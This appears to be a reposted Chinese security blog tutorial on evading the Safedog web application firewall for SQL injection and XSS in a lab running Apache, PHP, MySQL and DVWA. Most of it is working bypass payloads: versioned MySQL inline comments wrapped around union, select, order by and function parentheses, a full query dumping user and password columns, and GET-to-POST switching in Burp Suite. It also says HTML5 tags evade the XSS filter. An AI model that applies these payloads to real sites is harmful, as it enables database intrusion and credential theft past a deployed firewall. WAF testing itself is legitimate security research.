bypass安全狗 sql注入与xss

本文是团队成员N0b1e6的原创技术文章!

正文开始-------------------------------------------------

本期分享最新的 bypass安全狗 技术

环境配置

安全狗apache版,网马版本2020-02-19

windows2008

apache2.4 + php5.4 + mysql 5.5.53

测试脚本

SQL注入:https://github.com/GEIGEI123/TestScript/blob/master/sqltest.php

XSS:https://github.com/GEIGEI123/TestScript/blob/master/xsstest.php

一、bypass SQL注入

先搭建测试脚本,此处使用网上大佬的脚本,里面利用了dvwa的数据库,需要提前安装dvwa

搭建成功后如下图

bypass安全狗 sql注入与xss_第1张图片

显示了查询结果和查询语句方便分析

开启安全狗后测试恶意paylaod,出现拦截(熟悉的画面~~)

bypass安全狗 sql注入与xss_第2张图片

先测试下简单的and,or注入,发现仅当出现特定关键词组合时才会拦截

id=1′ or ‘1 (不拦)

id=1′ or ‘1’=’1 (拦)

bypass安全狗 sql注入与xss_第3张图片

bypass安全狗 sql注入与xss_第4张图片

进入正式的bypass环节

此处还是利用mysql内联注释bypass安全狗,但是比较诡异的是内联注释的软件版本号处有点学问在里面,本人太菜,有大佬可以科普科普

bypass安全狗 sql注入与xss_第5张图片

bypass安全狗 sql注入与xss_第6张图片

此处版本号不同体现的差异性在后续测试中也有存在,有大佬有研究的可以指点指点

order by

/*!14441order by*/

bypass安全狗 sql注入与xss_第7张图片

union select

两个关键词需要分开注释,否则会过滤

/*!14441union*//*!14441select*/

bypass安全狗 sql注入与xss_第8张图片

在爆字段时费了点脑筋,安全狗过滤了user(),database()等关键词,最后发现需要对()进行注释

user/*!14440()*/

bypass安全狗 sql注入与xss_第9张图片

直接user()会被拦截

安全狗对于mysql中的函数过滤很有限,接下来可以直接爆数据

/*!14441union*//*!14441select*/group_concat(user), group_concat(password) from users– +

bypass安全狗 sql注入与xss_第10张图片

实际上,安全狗对于post参数过滤的很有限,在我开启了全部的安全策略后,仍然可以绕过

bypass安全狗 sql注入与xss_第11张图片

bypass安全狗 sql注入与xss_第12张图片

可以利用burpsuite的改变提交方式的功能,将GET请求变为POST请求

bypass安全狗 sql注入与xss_第13张图片

GET请求被安全狗拦截

bypass安全狗 sql注入与xss_第14张图片

修改请求方式

bypass安全狗 sql注入与xss_第15张图片

改为POST后成功绕过

也有可能我环境搭建的有问题,安全狗对POST请求的拦截几乎为0,但是不重要,在bypass云锁篇中会介绍一种手段,通杀post请求,23333

二、bypass xss

总结来说,安全狗对于xss的防护效果一般,在高级别默认配置下,大多数HTML5的新标签都可以绕过

bypass安全狗 sql注入与xss_第16张图片

下期分享bypass 云锁

你可能感兴趣的:(数据库,mysql,web,java,redis)